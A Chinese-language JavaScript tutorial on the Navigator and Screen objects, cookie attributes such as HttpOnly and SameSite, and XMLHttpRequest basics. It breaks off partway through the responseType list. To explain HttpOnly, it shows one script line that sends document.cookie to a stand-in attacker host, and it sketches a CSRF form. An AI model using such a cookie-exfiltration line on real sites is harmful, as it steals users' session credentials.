主頁 > 前端設計 > JavaScript(七)(Navigator/Screen/Cookie/XMLHttpRequest/CORS)

JavaScript(七)(Navigator/Screen/Cookie/XMLHttpRequest/CORS)

2021-07-30 07:57:38 前端設計

JavaScript(七)(Navigator/Screen/Cookie/XMLHttpRequest/CORS)

文章目錄

  • JavaScript(七)(Navigator/Screen/Cookie/XMLHttpRequest/CORS)
    • 56. Navigator 物件,Screen 物件,
      • 56.1 Navigator 物件的屬性
        • 56.1.1 Navigator.userAgent
        • 56.1.2 Navigator.plugins
        • 56.1.3 Navigator.platform
        • 56.1.4 Navigator.onLine
        • 56.1.5 Navigator.language,Navigator.languages
        • 56.1.6 Navigator.geolocation
        • 56.1.7 Navigator.cookieEnabled
      • 56.2 Navigator 物件的方法
        • 56.2.1 Navigator.javaEnabled()
        • 56.2.2 Navigator.sendBeacon()
      • 56.3 Navigator 的實驗性屬性
        • 56.3.1 Navigator.deviceMemory
        • 56.3.2 Navigator.hardwareConcurrency
        • 56.3.3 Navigator.connection
      • 56.4 Screen 物件
    • 57. Cookie
      • 57.1 概述
      • 57.2 Cookie 與 HTTP 協議
        • 57.2.1 HTTP 回應:Cookie 的生成
        • 57.2.2 HTTP 請求:Cookie 的發送
      • 57.3 Cookie 的屬性(==52.2 session 歷史事件==)
        • 57.3.1 Expires,Max-Age
        • 57.3.2 Domain,Path
        • 57.3.3 Secure,HttpOnly
        • 57.3.4 SameSite
          • **(1)Strict**
          • **(2)Lax**
          • **(3)None**
      • 57.4 document.cookie
    • 58. XMLHttpRequest 物件(==AJAX==)
      • 58.1 簡介
      • 58.2 XMLHttpRequest 的實體屬性
        • 58.2.1 XMLHttpRequest.readyState
        • 58.2.2 XMLHttpRequest.onreadystatechange
        • 58.2.3 XMLHttpRequest.response
        • 58.2.4 XMLHttpRequest.responseType
        • 58.2.5 XMLHttpRequest.responseText
        • 58.2.6 XMLHttpRequest.responseXML
        • 58.2.7 XMLHttpRequest.responseURL
        • 58.2.8 XMLHttpRequest.status,XMLHttpRequest.statusText
        • 58.2.9 XMLHttpRequest.timeout,XMLHttpRequestEventTarget.ontimeout
        • 58.2.10 事件監聽屬性(on-**)
        • 58.2.11 XMLHttpRequest.withCredentials
        • 58.2.12 XMLHttpRequest.upload
      • 58.3 XMLHttpRequest 的實體方法
        • 58.3.1 XMLHttpRequest.open()
        • 58.3.2 XMLHttpRequest.send()
        • 58.3.3 XMLHttpRequest.setRequestHeader()
        • 58.3.4 XMLHttpRequest.overrideMimeType()
        • 58.3.5 XMLHttpRequest.getResponseHeader()
        • 58.3.6 XMLHttpRequest.getAllResponseHeaders()
        • 58.3.7 XMLHttpRequest.abort()
      • 58.4 XMLHttpRequest 實體的事件
        • 58.4.1 readyStateChange 事件
        • 58.4.2 progress 事件
        • 58.4.3 load 事件、error 事件、abort 事件
        • 58.4.4 loadend 事件
        • 58.4.5 timeout 事件
      • 58.5 Navigator.sendBeacon()
    • 59. 同源限制
      • 59.1 概述
        • 59.1.1 含義
        • 59.1.2 目的
        • 59.1.3 限制范圍
      • 59.2 Cookie
      • 59.3 iframe 和多視窗通信
        • 59.3.1 片段識別符 fragment identifier
        • 59.3.2 window.postMessage()(==message-.source .origin==)
        • 59.3.3 LocalStorage
      • 59.4 AJAX
        • 59.4.1 JSONP
        • 59.4.2 WebSocket
        • 59.4.3 CORS
    • 60. CORS 通信
      • 60.1 簡介
      • 60.2 兩種請求
      • 60.3 簡單請求
        • 60.3.1 基本流程
          • **(1)`Access-Control-Allow-Origin`**
          • **(2)`Access-Control-Allow-Credentials`**
          • **(3)`Access-Control-Expose-Headers`**
        • 60.3.2 withCredentials 屬性
      • 60.4 非簡單請求
        • 60.4.1 預檢請求
          • **(1)`Access-Control-Request-Method`**
          • **(2)`Access-Control-Request-Headers`**
        • 60.4.2 預檢請求的回應
          • **(1)`Access-Control-Allow-Methods`**
          • **(2)`Access-Control-Allow-Headers`**
          • **(3)`Access-Control-Allow-Credentials`**
          • **(4)`Access-Control-Max-Age`**
        • 60.4.3 瀏覽器的正常請求和回應
      • 60.5 與 JSONP 的比較

56. Navigator 物件,Screen 物件,

window.navigator屬性指向一個包含瀏覽器和系統資訊的 Navigator 物件,腳本通過這個屬性了解用戶的環境資訊

56.1 Navigator 物件的屬性

56.1.1 Navigator.userAgent

navigator.userAgent屬性回傳瀏覽器的 User Agent 字串,表示瀏覽器的廠商和版本資訊,

下面是 Chrome 瀏覽器的userAgent

navigator.userAgent
// "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/29.0.1547.57 Safari/537.36"

通過userAgent屬性識別瀏覽器,不是一個好辦法,因為必須考慮所有的情況(不同的瀏覽器,不同的版本),非常麻煩,而且用戶可以改變這個字串,這個字串的格式并無統一規定,也無法保證未來的適用性,各種上網設備層出不窮,難以窮盡,所以,現在一般不再通過它識別瀏覽器了,而是使用“功能識別”方法,即逐一測驗當前瀏覽器是否支持要用到的 JavaScript 功能,

不過,通過userAgent可以大致準確地識別手機瀏覽器,方法就是測驗是否包含mobi字串,

var ua = navigator.userAgent.toLowerCase();

if (/mobi/i.test(ua)) {
  // 手機瀏覽器
} else {
  // 非手機瀏覽器
}

如果想要識別所有移動設備的瀏覽器,可以測驗更多的特征字串,

/mobi|android|touch|mini/i.test(ua)

56.1.2 Navigator.plugins

Navigator.plugins屬性回傳一個類似陣列的物件,成員是 Plugin 實體物件,表示瀏覽器安裝的插件,比如 Flash、ActiveX 等,

var pluginsLength = navigator.plugins.length;

for (var i = 0; i < pluginsLength; i++) {
  console.log(navigator.plugins[i].name);
  console.log(navigator.plugins[i].filename);
  console.log(navigator.plugins[i].description);
  console.log(navigator.plugins[i].version);
}

56.1.3 Navigator.platform

Navigator.platform屬性回傳用戶的作業系統資訊,比如MacIntelWin32Linux x86_64等 ,

navigator.platform
// "Linux x86_64"

56.1.4 Navigator.onLine

navigator.onLine屬性回傳一個布林值,表示用戶當前在線還是離線(瀏覽器斷線),

navigator.onLine // true

有時,瀏覽器可以連接局域網,但是局域網不能連通外網,這時,有的瀏覽器的onLine屬性會回傳true,所以不能假定只要是true,用戶就一定能訪問互聯網,不過,如果是false,可以斷定用戶一定離線,

用戶變成在線會觸發online事件,變成離線會觸發offline事件,可以通過window.ononlinewindow.onoffline指定這兩個事件的回呼函式,

window.addEventListener('offline', function(e) { console.log('offline'); });
window.addEventListener('online', function(e) { console.log('online'); });

56.1.5 Navigator.language,Navigator.languages

Navigator.language屬性回傳一個字串,表示瀏覽器的首選語言,該屬性只讀,

navigator.language // "en"

Navigator.languages屬性回傳一個陣列,表示用戶可以接受的語言,Navigator.language總是這個陣列的第一個成員,HTTP 請求頭資訊的Accept-Language欄位,就來自這個陣列,

navigator.languages  // ["en-US", "en", "zh-CN", "zh", "zh-TW"]

如果這個屬性發生變化,就會在window物件上觸發languagechange事件,

56.1.6 Navigator.geolocation

Navigator.geolocation屬性回傳一個 Geolocation 物件,包含用戶地理位置的信息,注意,該 API 只有在 HTTPS 協議下可用,否則呼叫下面方法時會報錯,

Geolocation 物件提供下面三個方法,

  • Geolocation.getCurrentPosition():得到用戶的當前位置
  • Geolocation.watchPosition():監聽用戶位置變化
  • Geolocation.clearWatch():取消watchPosition()方法指定的監聽函式

注意,呼叫這三個方法時,瀏覽器會跳出一個對話框,要求用戶給予授權,

56.1.7 Navigator.cookieEnabled

navigator.cookieEnabled屬性回傳一個布林值,表示瀏覽器的 Cookie 功能是否打開,

navigator.cookieEnabled // true

注意,這個屬性反映的是瀏覽器總的特性,與是否儲存某個具體的網站的 Cookie 無關,用戶可以設定某個網站不得儲存 Cookie,這時cookieEnabled回傳的還是true

56.2 Navigator 物件的方法

56.2.1 Navigator.javaEnabled()

navigator.javaEnabled()方法回傳一個布林值,表示瀏覽器是否能運行 Java Applet 小程式,

navigator.javaEnabled() // false

56.2.2 Navigator.sendBeacon()

Navigator.sendBeacon()方法用于向服務器異步發送資料,詳見《XMLHttpRequest 物件》一章,

56.3 Navigator 的實驗性屬性

Navigator 物件有一些實驗性屬性,在部分瀏覽器可用,

56.3.1 Navigator.deviceMemory

navigator.deviceMemory屬性回傳當前計算機的記憶體數量(單位為 GB),該屬性只讀,只在 HTTPS 環境下可用,

它的回傳值是一個近似值,四舍五入到最接近的2的冪,通常是 0.25、0.5、1、2、4、8,實際記憶體超過 8GB,也回傳8

if (navigator.deviceMemory > 1) {
  await import('./costly-module.js');
}

上面示例中,只有當前記憶體大于 1GB,才加載大型的腳本,

56.3.2 Navigator.hardwareConcurrency

navigator.hardwareConcurrency屬性回傳用戶計算機上可用的邏輯處理器的數量,該屬性只讀,

現代計算機的 CPU 有多個物理核心,每個物理核心有時支持一次運行多個執行緒,因此,四核 CPU 可以提供八個邏輯處理器核心,

if (navigator.hardwareConcurrency > 4) {
  await import('./costly-module.js');
}

上面示例中,可用的邏輯處理器大于4,才會加載大型腳本,

該屬性通過用于創建 Web Worker,每個可用的邏輯處理器都創建一個 Worker,

let workerList = [];

for (let i = 0; i < window.navigator.hardwareConcurrency; i++) {
  let newWorker = {
    worker: new Worker('cpuworker.js'),
    inUse: false
  };
  workerList.push(newWorker);
}

上面示例中,有多少個可用的邏輯處理器,就創建多少個 Web Worker,

56.3.3 Navigator.connection

navigator.connection屬性回傳一個物件,包含當前網路連接的相關資訊,

  • downlink:有效帶寬估計值(單位:兆位元/秒,Mbps),四舍五入到每秒 25KB 的最接近倍數,
  • downlinkMax:當前連接的最大下行鏈路速度(單位:兆位元每秒,Mbps),
  • effectiveType:回傳連接的等效型別,可能的值為slow-2g2g3g4g
  • rtt:當前連接的估計有效往返時間,四舍五入到最接近的25毫秒的倍數,
  • saveData:用戶是否設定了瀏覽器的減少資料使用量選項(比如不加載圖片),回傳true或者false
  • type:當前連接的介質型別,可能的值為bluetoothcellularethernetnonewifiwimaxotherunknown
if (navigator.connection.effectiveType === '4g') {
  await import('./costly-module.js');
}

上面示例中,如果網路連接是 4G,則加載大型腳本,

56.4 Screen 物件

Screen 物件表示當前視窗所在的螢屏,提供顯示設備的資訊,window.screen屬性指向這個物件,

該物件有下面的屬性,

  • Screen.height:瀏覽器視窗所在的螢屏的高度(單位像素),除非調整顯示幕的解析度,否則這個值可以看作常量,不會發生變化,顯示幕的解析度與瀏覽器設定無關,縮放網頁并不會改變解析度,
  • Screen.width:瀏覽器視窗所在的螢屏的寬度(單位像素),
  • Screen.availHeight:瀏覽器視窗可用的螢屏高度(單位像素),因為部分空間可能不可用,比如系統的任務欄或者 Mac 系統螢屏底部的 Dock 區,這個屬性等于height減去那些被系統組件的高度,
  • Screen.availWidth:瀏覽器視窗可用的螢屏寬度(單位像素),
  • Screen.pixelDepth:整數,表示螢屏的色彩位數,比如24表示螢屏提供24位色彩,
  • Screen.colorDepthScreen.pixelDepth的別名,嚴格地說,colorDepth 表示應用程式的顏色深度,pixelDepth 表示螢屏的顏色深度,絕大多數情況下,它們都是同一件事,
  • Screen.orientation:回傳一個物件,表示螢屏的方向,該物件的type屬性是一個字串,表示螢屏的具體方向,landscape-primary表示橫放,landscape-secondary表示顛倒的橫放,portrait-primary表示豎放,portrait-secondary表示顛倒的豎放,

下面是Screen.orientation的例子,

window.screen.orientation
// { angle: 0, type: "landscape-primary", onchange: null }

下面的例子保證螢屏解析度大于 1024 x 768,

if (window.screen.width >= 1024 && window.screen.height >= 768) {
  // 解析度不低于 1024x768
}

下面是根據螢屏的寬度,將用戶導向不同網頁的代碼,

if ((screen.width <= 800) && (screen.height <= 600)) {
  window.location.replace('small.html');
} else {
  window.location.replace('wide.html');
}

57. Cookie

57.1 概述

Cookie 是服務器保存在瀏覽器的一小段文本資訊,一般大小不能超過4KB,瀏覽器每次向服務器發出請求,就會自動附上這段資訊,

Cookie 主要保存狀態資訊,以下是一些主要用途,

  • 對話(session)管理:保存登錄、購物車等需要記錄的資訊,
  • 個性化資訊:保存用戶的偏好,比如網頁的字體大小、背景色等等,
  • 追蹤用戶:記錄和分析用戶行為,

Cookie 不是一種理想的客戶端儲存機制,它的容量很小(4KB),缺乏資料操作介面,而且會影響性能,客戶端儲存應該使用 Web storage API 和 IndexedDB,只有那些每次請求都需要讓服務器知道的資訊,才應該放在 Cookie 里面,

每個 Cookie 都有以下幾方面的元資料,

  • Cookie 的名字
  • Cookie 的值(真正的資料寫在這里面)
  • 到期時間(超過這個時間會失效)
  • 所屬域名(默認為當前域名)
  • 生效的路徑(默認為當前網址)

舉例來說,用戶訪問網址www.example.com,服務器在瀏覽器寫入一個 Cookie,這個 Cookie 的所屬域名為www.example.com,生效路徑為根路徑/,如果 Cookie 的生效路徑設為/forums,那么這個 Cookie 只有在訪問www.example.com/forums及其子路徑時才有效,以后,瀏覽器訪問某個路徑之前,就會找出對該域名和路徑有效,并且還沒有到期的 Cookie,一起發送給服務器

用戶可以設定瀏覽器不接受 Cookie,也可以設定不向服務器發送 Cookie,window.navigator.cookieEnabled屬性回傳一個布林值,表示瀏覽器是否打開 Cookie 功能,

window.navigator.cookieEnabled // true

document.cookie屬性回傳當前網頁的 Cookie,

document.cookie // "id=foo;key=bar"

不同瀏覽器對 Cookie 數量和大小的限制,是不一樣的,一般來說,單個域名設定的 Cookie 不應超過30個,每個 Cookie 的大小不能超過4KB,超過限制以后,Cookie 將被忽略,不會被設定,

瀏覽器的同源政策規定,兩個網址只要域名相同,就可以共享 Cookie(參見《同源政策》一章),注意,這里不要求協議相同,也就是說,http://example.com設定的 Cookie,可以被https://example.com讀取,

57.2 Cookie 與 HTTP 協議

Cookie 由 HTTP 協議生成,也主要是供 HTTP 協議使用,

57.2.1 HTTP 回應:Cookie 的生成

服務器如果希望在瀏覽器保存 Cookie,就要在 HTTP 回應的頭資訊里面,放置一個Set-Cookie欄位,

Set-Cookie:foo=bar

上面代碼會在瀏覽器保存一個名為foo的 Cookie,它的值為bar

HTTP 回應可以包含多個Set-Cookie欄位,即在瀏覽器生成多個 Cookie,下面是一個例子,

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: yummy_cookie=choco
Set-Cookie: tasty_cookie=strawberry

[page content]

除了 Cookie 的值,Set-Cookie欄位還可以附加 Cookie 的屬性,

Set-Cookie: <cookie-name>=<cookie-value>; Expires=<date>
Set-Cookie: <cookie-name>=<cookie-value>; Max-Age=<non-zero-digit>
Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>
Set-Cookie: <cookie-name>=<cookie-value>; Path=<path-value>
Set-Cookie: <cookie-name>=<cookie-value>; Secure
Set-Cookie: <cookie-name>=<cookie-value>; HttpOnly

上面的幾個屬性的含義,將在后文解釋,

一個Set-Cookie欄位里面,可以同時包括多個屬性,沒有次序的要求,

Set-Cookie: <cookie-name>=<cookie-value>; Domain=<domain-value>; Secure; HttpOnly

下面是一個例子,

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT; Secure; HttpOnly

如果服務器想改變一個早先設定的 Cookie,必須同時滿足四個條件:Cookie 的keydomainpathsecure都匹配,舉例來說,如果原始的 Cookie 是用如下的Set-Cookie設定的,

Set-Cookie: key1=value1; domain=example.com; path=/blog

改變上面這個 Cookie 的值,就必須使用同樣的Set-Cookie

Set-Cookie: key1=value2; domain=example.com; path=/blog

只要有一個屬性不同,就會生成一個全新的 Cookie,而不是替換掉原來那個 Cookie,

Set-Cookie: key1=value2; domain=example.com; path=/

上面的命令設定了一個全新的同名 Cookie,但是path屬性不一樣,下一次訪問example.com/blog的時候,瀏覽器將向服務器發送兩個同名的 Cookie,

Cookie: key1=value1; key1=value2

上面代碼的兩個 Cookie 是同名的,匹配越精確的 Cookie 排在越前面,

57.2.2 HTTP 請求:Cookie 的發送

瀏覽器向服務器發送 HTTP 請求時,每個請求都會帶上相應的 Cookie,也就是說,把服務器早前保存在瀏覽器的這段資訊,再發回服務器,這時要使用 HTTP 頭資訊的Cookie欄位,

Cookie: foo=bar

上面代碼會向服務器發送名為foo的 Cookie,值為bar

Cookie欄位可以包含多個 Cookie,使用分號(;)分隔,

Cookie: name=value; name2=value2; name3=value3

下面是一個例子,

GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: yummy_cookie=choco; tasty_cookie=strawberry

服務器收到瀏覽器發來的 Cookie 時,有兩點是無法知道的,

  • Cookie 的各種屬性,比如何時過期,
  • 哪個域名設定的 Cookie,到底是一級域名設的,還是某一個二級域名設的,

57.3 Cookie 的屬性(52.2 session 歷史事件)

57.3.1 Expires,Max-Age

Expires屬性指定一個具體的到期時間,到了指定時間以后,瀏覽器就不再保留這個 Cookie,它的值是 UTC 格式,可以使用Date.prototype.toUTCString()進行格式轉換,

Set-Cookie: id=a3fWa; Expires=Wed, 21 Oct 2015 07:28:00 GMT;

如果不設定該屬性,或者設為null,Cookie 只在當前會話(session)有效,瀏覽器視窗一旦關閉,當前 Session 結束,該 Cookie 就會被洗掉,另外,瀏覽器根據本地時間,決定 Cookie 是否過期,由于本地時間是不精確的,所以沒有辦法保證 Cookie 一定會在服務器指定的時間過期,

Max-Age屬性指定從現在開始 Cookie 存在的秒數,比如60 * 60 * 24 * 365(即一年),過了這個時間以后,瀏覽器就不再保留這個 Cookie,

如果同時指定了ExpiresMax-Age,那么Max-Age的值將優先生效,

如果Set-Cookie欄位沒有指定ExpiresMax-Age屬性,那么這個 Cookie 就是 Session Cookie,即它只在本次對話存在,一旦用戶關閉瀏覽器,瀏覽器就不會再保留這個 Cookie,

57.3.2 Domain,Path

Domain屬性指定瀏覽器發出 HTTP 請求時,哪些域名要附帶這個 Cookie,如果沒有指定該屬性,瀏覽器會默認將其設為當前域名,這時子域名將不會附帶這個 Cookie,比如,example.com不設定 Cookie 的domain屬性,那么sub.example.com將不會附帶這個 Cookie,如果指定了domain屬性,那么子域名也會附帶這個 Cookie,如果服務器指定的域名不屬于當前域名,瀏覽器會拒絕這個 Cookie,

Path屬性指定瀏覽器發出 HTTP 請求時,哪些路徑要附帶這個 Cookie,只要瀏覽器發現,Path屬性是 HTTP 請求路徑的開頭一部分,就會在頭資訊里面帶上這個 Cookie,比如,PATH屬性是/,那么請求/docs路徑也會包含該 Cookie,當然,前提是域名必須一致,

57.3.3 Secure,HttpOnly

Secure屬性指定瀏覽器只有在加密協議 HTTPS 下,才能將這個 Cookie 發送到服務器,另一方面,如果當前協議是 HTTP,瀏覽器會自動忽略服務器發來的Secure屬性,該屬性只是一個開關,不需要指定值,如果通信是 HTTPS 協議,該開關自動打開,

HttpOnly屬性指定該 Cookie 無法通過 JavaScript 腳本拿到,主要是document.cookie屬性、XMLHttpRequest物件和 Request API 都拿不到該屬性,這樣就防止了該 Cookie 被腳本讀到,只有瀏覽器發出 HTTP 請求時,才會帶上該 Cookie,

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

上面是跨站點載入的一個惡意腳本的代碼,能夠將當前網頁的 Cookie 發往第三方服務器,如果設定了一個 Cookie 的HttpOnly屬性,上面代碼就不會讀到該 Cookie,

57.3.4 SameSite

Chrome 51 開始,瀏覽器的 Cookie 新增加了一個SameSite屬性,用來防止 CSRF 攻擊和用戶追蹤,

Cookie 往往用來存盤用戶的身份資訊,惡意網站可以設法偽造帶有正確 Cookie 的 HTTP 請求,這就是 CSRF 攻擊,舉例來說,用戶登陸了銀行網站your-bank.com,銀行服務器發來了一個 Cookie,

Set-Cookie:id=a3fWa;

用戶后來又訪問了惡意網站malicious.com,上面有一個表單,

<form action="your-bank.com/transfer" method="POST">
  ...
</form>

用戶一旦被誘騙發送這個表單,銀行網站就會收到帶有正確 Cookie 的請求,為了防止這種攻擊,表單一般都帶有一個隨機 token,告訴服務器這是真實請求,

<form action="your-bank.com/transfer" method="POST">
  <input type="hidden" name="token" value="dad3weg34">
  ...
</form>

這種第三方網站引導發出的 Cookie,就稱為第三方 Cookie,它除了用于 CSRF 攻擊,還可以用于用戶追蹤,比如,Facebook 在第三方網站插入一張看不見的圖片,

<img src="facebook.com" style="visibility:hidden;">

瀏覽器加載上面代碼時,就會向 Facebook 發出帶有 Cookie 的請求,從而 Facebook 就會知道你是誰,訪問了什么網站,

Cookie 的SameSite屬性用來限制第三方 Cookie,從而減少安全風險,它可以設定三個值,

  • Strict
  • Lax
  • None
(1)Strict

Strict最為嚴格,完全禁止第三方 Cookie,跨站點時,任何情況下都不會發送 Cookie,換言之,只有當前網頁的 URL 與請求目標一致,才會帶上 Cookie,

Set-Cookie: CookieName=CookieValue; SameSite=Strict;

這個規則過于嚴格,可能造成非常不好的用戶體驗,比如,當前網頁有一個 GitHub 鏈接,用戶點擊跳轉就不會帶有 GitHub 的 Cookie,跳轉過去總是未登陸狀態,

(2)Lax

Lax規則稍稍放寬,大多數情況也是不發送第三方 Cookie,但是導航到目標網址的 Get 請求除外,

Set-Cookie: CookieName=CookieValue; SameSite=Lax;

導航到目標網址的 GET 請求,只包括三種情況:鏈接,預加載請求,GET 表單,詳見下表,

請求型別示例正常情況Lax
鏈接<a href="..."></a>發送 Cookie發送 Cookie
預加載<link rel="prerender" href="..."/>發送 Cookie發送 Cookie
GET 表單<form method="GET" action="...">發送 Cookie發送 Cookie
POST 表單<form method="POST" action="...">發送 Cookie不發送
iframe<iframe src="..."></iframe>發送 Cookie不發送
AJAX$.get("...")發送 Cookie不發送
Image<img src="...">發送 Cookie不發送

**設定了StrictLax以后,基本就杜絕了 CSRF 攻擊,**當然,前提是用戶瀏覽器支持 SameSite 屬性,

(3)None

Chrome 計劃將Lax變為默認設定,這時,網站可以選擇顯式關閉SameSite屬性,將其設為None,不過,前提是必須同時設定Secure屬性(Cookie 只能通過 HTTPS 協議發送),否則無效,

下面的設定無效,

Set-Cookie: widget_session=abc123; SameSite=None

下面的設定有效,

Set-Cookie: widget_session=abc123; SameSite=None; Secure

57.4 document.cookie

document.cookie屬性用于讀寫當前網頁的 Cookie,

讀取的時候,它會回傳當前網頁的所有 Cookie,前提是該 Cookie 不能有HTTPOnly屬性,

document.cookie // "foo=bar;baz=bar"

上面代碼從document.cookie一次性讀出兩個 Cookie,它們之間使用分號分隔,必須手動還原,才能取出每一個 Cookie 的值,

var cookies = document.cookie.split(';');

for (var i = 0; i < cookies.length; i++) {
  console.log(cookies[i]);
}
// foo=bar
// baz=bar

document.cookie屬性是可寫的,可以通過它為當前網站添加 Cookie,

document.cookie = 'fontSize=14';

寫入的時候,Cookie 的值必須寫成key=value的形式,注意,等號兩邊不能有空格,另外,寫入 Cookie 的時候,必須對分號、逗號和空格進行轉義(它們都不允許作為 Cookie 的值),這可以用encodeURIComponent方法達到,

但是,document.cookie一次只能寫入一個 Cookie,而且寫入并不是覆寫,而是添加,

document.cookie = 'test1=hello';
document.cookie = 'test2=world';
document.cookie
// test1=hello;test2=world

document.cookie讀寫行為的差異(一次可以讀出全部 Cookie,但是只能寫入一個 Cookie),與 HTTP 協議的 Cookie 通信格式有關,瀏覽器向服務器發送 Cookie 的時候,Cookie欄位是使用一行將所有 Cookie 全部發送;服務器向瀏覽器設定 Cookie 的時候,Set-Cookie欄位是一行設定一個 Cookie,

寫入 Cookie 的時候,可以一起寫入 Cookie 的屬性,

document.cookie = "foo=bar; expires=Fri, 31 Dec 2020 23:59:59 GMT";

上面代碼中,寫入 Cookie 的時候,同時設定了expires屬性,屬性值的等號兩邊,也是不能有空格的,

各個屬性的寫入注意點如下,

  • path屬性必須為絕對路徑,默認為當前路徑,
  • domain屬性值必須是當前發送 Cookie 的域名的一部分,比如,當前域名是example.com,就不能將其設為foo.com,該屬性默認為當前的一級域名(不含二級域名),
  • max-age屬性的值為秒數
  • expires屬性的值為 UTC 格式,可以使用Date.prototype.toUTCString()進行日期格式轉換,

document.cookie寫入 Cookie 的例子如下,

document.cookie = 'fontSize=14; '
  + 'expires=' + someDate.toGMTString() + '; '
  + 'path=/subdirectory; '
  + 'domain=*.example.com';

Cookie 的屬性一旦設定完成,就沒有辦法讀取這些屬性的值,

洗掉一個現存 Cookie 的唯一方法,是設定它的expires屬性為一個過去的日期

document.cookie = 'fontSize=;expires=Thu, 01-Jan-1970 00:00:01 GMT';

上面代碼中,名為fontSize的 Cookie 的值為空,過期時間設為1970年1月1月零點,就等同于洗掉了這個 Cookie,

58. XMLHttpRequest 物件(AJAX)

58.1 簡介

瀏覽器與服務器之間,采用 HTTP 協議通信,用戶在瀏覽器地址欄鍵入一個網址,或者通過網頁表單向服務器提交內容,這時瀏覽器就會向服務器發出 HTTP 請求,

1999年,微軟公司發布 IE 瀏覽器5.0版,第一次引入新功能:允許 JavaScript 腳本向服務器發起 HTTP 請求,這個功能當時并沒有引起注意,直到2004年 Gmail 發布和2005年 Google Map 發布,才引起廣泛重視,2005年2月,==AJAX 這個詞第一次正式提出,它是 Asynchronous JavaScript and XML 的縮寫,指的是通過 JavaScript 的異步通信,從服務器獲取 XML 檔案從中提取資料,再更新當前網頁的對應部分,而不用重繪整個網頁,后來,AJAX 這個詞就成為 JavaScript 腳本發起 HTTP 通信的代名詞,也就是說,只要用腳本發起通信,就可以叫做 AJAX 通信,==W3C 也在2006年發布了它的國際標準,

具體來說,AJAX 包括以下幾個步驟,

  1. 創建 XMLHttpRequest 實體
  2. 發出 HTTP 請求
  3. 接收服務器傳回的資料
  4. 更新網頁資料

概括起來,就是一句話,AJAX 通過原生的XMLHttpRequest物件發出 HTTP 請求,得到服務器回傳的資料后,再進行處理,現在,服務器回傳的都是 JSON 格式的資料,XML 格式已經過時了,但是 AJAX 這個名字已經成了一個通用名詞,字面含義已經消失了,

XMLHttpRequest物件是 AJAX 的主要介面,用于瀏覽器與服務器之間的通信,盡管名字里面有XMLHttp,它實際上可以使用多種協議(比如fileftp),發送任何格式的資料(包括字串和二進制),

XMLHttpRequest本身是一個建構式,可以使用new命令生成實體,它沒有任何引數,

var xhr = new XMLHttpRequest();

一旦新建實體,就可以使用open()方法指定建立 HTTP 連接的一些細節,

xhr.open('GET', 'http://www.example.com/page.php', true);

上面代碼指定使用 GET 方法,跟指定的服務器網址建立連接,第三個引數true,表示請求是異步的,

然后,指定回呼函式,監聽通信狀態(readyState屬性)的變化,

xhr.onreadystatechange = handleStateChange;

function handleStateChange() {
  // ...
}

上面代碼中,一旦XMLHttpRequest實體的狀態發生變化,就會呼叫監聽函式handleStateChange

最后使用send()方法,實際發出請求,

xhr.send(null);

上面代碼中,send()的引數為null,表示發送請求的時候,不帶有資料體,如果發送的是 POST 請求,這里就需要指定資料體,

一旦拿到服務器回傳的資料,AJAX 不會重繪整個網頁,而是只更新網頁里面的相關部分,從而不打斷用戶正在做的事情,

注意,AJAX 只能向同源網址(協議、域名、埠都相同)發出 HTTP 請求,如果發出跨域請求,就會報錯(詳見《同源政策》和《CORS 通信》兩章),

下面是XMLHttpRequest物件簡單用法的完整例子

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function(){
  // 通信成功時,狀態值為4
  if (xhr.readyState === 4){
    if (xhr.status === 200){
      console.log(xhr.responseText);
    } else {
      console.error(xhr.statusText);
    }
  }
};

xhr.onerror = function (e) {
  console.error(xhr.statusText);
};

xhr.open('GET', '/endpoint', true);
xhr.send(null);

58.2 XMLHttpRequest 的實體屬性

58.2.1 XMLHttpRequest.readyState

XMLHttpRequest.readyState回傳一個整數,表示實體物件的當前狀態,該屬性只讀,它可能回傳以下值,

  • 0,表示 XMLHttpRequest 實體已經生成,但是實體的open()方法還沒有被呼叫,
  • 1,表示open()方法已經呼叫,但是實體的send()方法還沒有呼叫,仍然可以使用實體的setRequestHeader()方法,設定 HTTP 請求的頭資訊,
  • 2,表示實體的send()方法已經呼叫,并且服務器回傳的頭資訊和狀態碼已經收到,
  • 3,表示正在接收服務器傳來的資料體(body 部分),這時,如果實體的responseType屬性等于text或者空字串,responseText屬性就會包含已經收到的部分資訊,
  • 4,表示服務器回傳的資料已經完全接收,或者本次接收已經失敗,

通信程序中,每當實體物件發生狀態變化,它的readyState屬性的值就會改變,這個值每一次變化,都會觸發readyStateChange事件,

var xhr = new XMLHttpRequest();

if (xhr.readyState === 4) {
  // 請求結束,處理服務器回傳的資料
} else {
  // 顯示提示“加載中……”
}

上面代碼中,xhr.readyState等于4時,表明腳本發出的 HTTP 請求已經完成,其他情況,都表示 HTTP 請求還在進行中,

58.2.2 XMLHttpRequest.onreadystatechange

XMLHttpRequest.onreadystatechange屬性指向一個監聽函式readystatechange事件發生時(實體的readyState屬性變化),就會執行這個屬性,

另外,如果使用實體的abort()方法,終止 XMLHttpRequest 請求,也會造成readyState屬性變化,導致呼叫XMLHttpRequest.onreadystatechange屬性,

下面是一個例子,

var xhr = new XMLHttpRequest();
xhr.open( 'GET', 'http://example.com' , true );
xhr.onreadystatechange = function () {
  if (xhr.readyState !== 4 || xhr.status !== 200) {
    return;
  }
  console.log(xhr.responseText);
};
xhr.send();

58.2.3 XMLHttpRequest.response

XMLHttpRequest.response屬性表示服務器回傳的資料體(即 HTTP 回應的 body 部分),它可能是任何資料型別,比如字串、物件、二進制物件等等,具體的型別由XMLHttpRequest.responseType屬性決定,該屬性只讀,

如果本次請求沒有成功或者資料不完整,該屬性等于null,但是,如果responseType屬性等于text或空字串,在請求沒有結束之前(readyState等于3的階段),response屬性包含服務器已經回傳的部分資料,

var xhr = new XMLHttpRequest();

xhr.onreadystatechange = function () {
  if (xhr.readyState === 4) {
    handler(xhr.response);
  }
}

58.2.4 XMLHttpRequest.responseType

XMLHttpRequest.responseType屬性是一個字串,表示服務器回傳資料的型別,這個屬性是可寫的,可以在呼叫open()方法之后、呼叫send()方法之前,設定這個屬性的值,告訴瀏覽器如何解讀回傳的資料,如果responseType設為空字串,就等同于默認值text

XMLHttpRequest.responseType屬性可以等于以下值,

  • “”(空字串):等同于text,表示服務器回傳文本資料,
